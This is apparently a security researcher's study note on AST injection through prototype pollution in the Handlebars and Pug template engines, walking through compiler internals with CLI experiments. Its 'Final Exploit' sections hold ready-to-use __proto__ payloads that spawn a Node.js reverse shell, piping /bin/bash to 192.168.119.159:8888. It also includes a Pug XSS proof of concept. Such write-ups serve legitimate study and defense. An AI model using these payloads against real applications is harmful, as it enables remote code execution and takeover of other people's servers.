AST (Abstract Syntax Tree) Injection

R3zk0n · October 2, 2025

Contents
    • Resource: https://blog.p6.is/AST-Injection/

    Handlebars Template Injection

    Steps:

    • Understand how templating works (From tokenizer to compilation)
    • Find prototype pollution in template function - unset variable + appending to existing variable
      • content = this.pendingContent + content;
    • Find where the function is called:
      • this.opcode('appendContent', content.value);
      • Test in Interactive CLI
    • Code is pushed to the following location:
      • this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
      • quotedString: quotedString: function quotedString(str) {} filters the double quotation mark
    • Working backwards to find where appendEscaped is called:
      • MustacheStatement: function MustacheStatement(mustache) {...this.opcode('appendEscaped');}
    • We could search for a statement that pushes content without escaping it in compiler/compiler.js
      • this.opcode('pushString', string.value); –> pushString has escaping
      • ast = Handlebars.parse('{{someHelper "some string" 12345 true undefined null}}') –> Test for all the literals in template

    Interactive CLI:

    • Handlebars = require("handlebars")
    • ast = Handlebars.parse('{{someHelper "some string" 12345 true undefined null}}')
    • ast.body[0].params[1] –> Traverse object
    • Handlebars.precompile(ast) –> Precompile
    • ast.body[0].params[1].value = "console.log('haxhaxhax')" –> Change value inside AST
    • precompiled = Handlebars.precompile(ast) –> Precompile again
    • eval("compiled = " + precompiled) –> Precompile to compiled
    • tem = Handlebars.template(compiled)
    • tem({})

    Exploit:

    • Trick “Program” to be executed by modifying Object.prototype.type

    image

    • Debug, find and fix errors that occur –> Check “caught exceptions” and “uncaught exceptions” to jump to issue in Debugger.

    Final Exploit:

    image

    "__proto__":{"type": "Program","body":[{"type": "MustacheStatement", "path":0, "loc": 0, "params": [ { "type": "BooleanLiteral", "value": "net = global.process.mainModule.require('net'), sh = global.process.mainModule.require('child_process').exec('/bin/bash'), client = new net.Socket(), client.connect(8888, '192.168.119.159', function() {client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);})" } ]}]}
    

    • TEMPLATING_ENGINE=hbs docker-compose -f ~/chips/docker-compose.yml up
    • Main functionality in handlebars/compiler

    image

    • Tokenizer/Lexer –> Intermediate Code Representation (AST) –> Compilation –> Function is executed

    Parse: Tokenizer to AST

    Handlebars = require("handlebars")
    ast = Handlebars.parse("hello {{ foo }}") --> Creates an AST
    Handlebars.parse(ast) --> Returns the AST
    

    image Precompile: AST to Compiled opcode

    precompiled = Handlebars.precompile(ast) --> Compile AST to opcode
    
    eval("compiled = " + precompiled) --> Use eval to compile opcode to function (only important for precompiled)
    hello = Handlebars.template(compiled) --> Compile opcode and execute the template function
    hello({"foo": "student"})
    
    **Finding a vulnerability in the templating process**
      + Let's start by working backwards in the template generation process. The farther in the process that we find the injection point, the higher the likelihood that our injection will have a noticeable difference in the output. 
      + A potentially unset variable (this.pendingContent) is appended to an existing variable (content). 
      
    <img width="645" alt="image" src="https://user-images.githubusercontent.com/45024645/170028623-edeb7dd9-a827-4d2e-849f-43b01603bb02.png">
    
    ```javascript
    {}.__proto__.pendingContent = "haxhaxhax" // pollution
    
    precompiled = Handlebars.precompile(ast) // "return \"haxhaxhaxhello \"\n' +"
    eval("compiled = " + precompiled)
    hello = Handlebars.template(compiled)
    hello({"foo": "student"})
    

    image

    Pug Template Injection

    const pug = require('pug');
    
    Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
    
    const source = `h1= msg`;
    
    var fn = pug.compile(source, {});
    var html = fn({msg: 'It works'});
    
    console.log(html); // <h1>It works<script>alert(origin)</script></h1>
    

    image

    • Search for value that can be override and not predefined (ast.block) in this case.
    • if[ ]+\([a-zA-Z]+\.[a-zA-Z]+\)[ ]+\{ –> Regex
    "__proto__":{"block": {"type":"Text","line":"net = global.process.mainModule.require('net'), sh = global.process.mainModule.require('child_process').exec('/bin/bash'), client = new net.Socket(), client.connect(8888, '192.168.119.159', function() {client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);})"}}
    

    Twitter, Facebook